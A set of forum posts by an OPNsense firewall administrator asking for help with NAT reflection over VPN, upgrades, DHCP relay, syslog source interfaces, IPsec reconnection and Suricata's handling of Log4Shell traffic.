Topics

Hello.

(network diagram is attached)

Due to limited public IPs, we use Port Forwarding from outside to inside. The NAT points in most cases to some servers in the DMZ. Let's assume, we have an URL like app.acme.com, which resolves to our public IP 1.2.3.4 . You can access https://app.acme.com from the internet as expected. In order to reach app.acme.com also from inside, the OPNsense does NAT Reflection. This works also fine (you can see blue RDR rules in the log).

But: it doesn't matter, if you use OpenVPN or Wireguard, Road Worriors can not access https://app.acme.com. If they disable VPN, they can use it immediately. But then, they cannot access pure internal applications anymore. Rules and routing are double and triple checked.

It is no routing issue, since I am able to follow the traces, if you access the Reverse Proxy directly. One work around may be that app.acme.com is resolved direct to the Proxy instead of the public IP. But we have also a general purpose DNS name and the OPNsense decides which destination is the right one based on the port.

In general, why is it a problem to do NAT reflexion and through a VPN tunnel? Or is there a tick I missed to set? There are already some related topics here in the board, but they are in most cases unanswered and damn old. I would like to investigate this.

Hello everyone.

I wanted to update a remote box from 24.1 to 24.7 today. The download of the large package was in the kilobyte/sec range on the first attempt, the second attempt was initially in the megabyte/sec range and then it was in the kilobyte range again. Then I was out of the maintenance window agreed with the team.

Question: can I download the packages (the large one of 800MB) beforehand and then apply them, comparable to an "apt install ./local-pkg.deb"? Something with a cache directory? As I said, it is an upgrade of a remote box.

Hey there,

today, I updated an OPNsense box (DEC hardware).

What is not working:

• the web interface is not reachable anymore (no connect)
• SSH login is not possible anymore (auth failed)

What is working:

• Traffic in general (luckily!!)
• IPSec site2site, OpenVPN dial-in incl. authentication
• SNMP requests, SNMP info states 13.2-RELEASE-p7 FreeBSD 13.2-RELEASE-p7 stable/23.7-n254871-d5ec322cffc SMP amd64
• shutdown and start via hardware buttons

The overall goal was to get to 24.1

Do you have any approaches to troubleshoot this? The box is 180 kilometers away, the local access should be the last resort.

Hey there,

we have to roll out a handful branch offices. There is nothing IT related stuff, clients only. They wish to control the clients from the DHCP server in the data center. I hardly try, but everytime I set a DHCP Relay IP, which is routed via VPN, it throws: "Unsupported device type 131 for "ipsec1"". If I take a DHCP server in "the internet" or locally, it works. I cannot see the purpose of an device type for an DHCP relay...  ???

The new KEA DHCP as alternative lacks the relay option or I cannot find it.

Do you have any idea?

We usually configure a loopback management interface with an management IP for remote sites. This IP is used for HTTPS, SSH and SNMP from the main site to the remote device. This works well through the VPN tunnel.

However, this does not work well for the reverse way. The use case is: the OPNsense initiates a connection to the syslog server. The expectation is: the OPNsense box takes the MGMT interface as source interface. The reality is, that the WAN IP is taken.

I attach an image to make that more clear. How can I achieve the goal ??? ?

Situation:
main location: dns name to IP, OPNsense 27.7
remote location 1: dynamic IP, Juniper SRX
remote location 2&3: dynamic IP, OPNsense 27.7

If we restart the StrongSwan service at the main location or boot the OPNsense (because of updates, etc.), the remote OPNsenses do not re-establish IPSec connections, the SRX location does.

Looking to the remote machines: under VPN > IPsec > Status Overview there is a red cross in the P1 status. Only by clicking on the play button (on the right side) does the tunnel come back immediately or by a reboot.
We have now tested different configs in the connection method and with DPD, but did not have the desired success.

What does the IPSec config have to look like in order to automatically try to establish a connection again after the tunnel has been aborted/terminated? Any ideas (we have an temporary access to the remote machines, even if the tunnel are down)?

Our central OPNsense does IPS. During the Log4Shell analysis I realized that some JSON datagrams are not received by the syslog server (I guess to large for UDP, will try it with TCP).

But, the other point creates more concerns: if external hosts send Log4Shell http requests to my targets, Suricata finds the patterns (great) and block the requests. The OPNsense creates a syslog message with the malicious request for Splunk/Graylog. The outgoing syslog message is blocked, since Suricata finds the pattern again and blocks the request, which generates a new syslog message.

We have also a Reverse Proxy in the DMZ. The unencrypted local requests are blocked by Suricata (also great). If it catches log4shell https requests and puts it into the access log, the Splunk Forwarder sends the request to Splunk. Suricata finds the patterns, blocks them and generate a new syslog message. 93% of all log4shell connections are done by OPNsense->Syslog or RP->Syslog.

Isn't the pattern "1 request yields to 3 requests" a melting pot for DoS scenarios.

Don't get me wrong, Suricata does its job very well, but I have to find a way to exclude/trust connections. How do you solve this problem at your side?

How can I establish a IPSec-VPN-Tunnel with an interface I can set routes to?

Code Select Expand

(10.10.0.0/16, 192.168.5.0/24) SRX --- INTERNET --- OpnSense (192.168.20.0/24, 192.168.255.1/32)


With the mode "Tunnel IPv4" I can reach either 10.10.0.0/16 or 192.168.5.0/24, based on the configuration of phase two's remote network. If I use "Manual SPD entries" the connection can be used for some time, but after some hours I have to swap the entries "remote network" and "manual SPD entries" two times to be able to reach both remote networks for a while.

Coming from Juniper VPN world I am used to create a tunnel interface and simply route the desired networks through the IPSec tunnel. But all my tries with the "route-based" mode in combination with a gateway were hopeless cases. Does someone have a good guide to create a tunnel interface I can use to route to?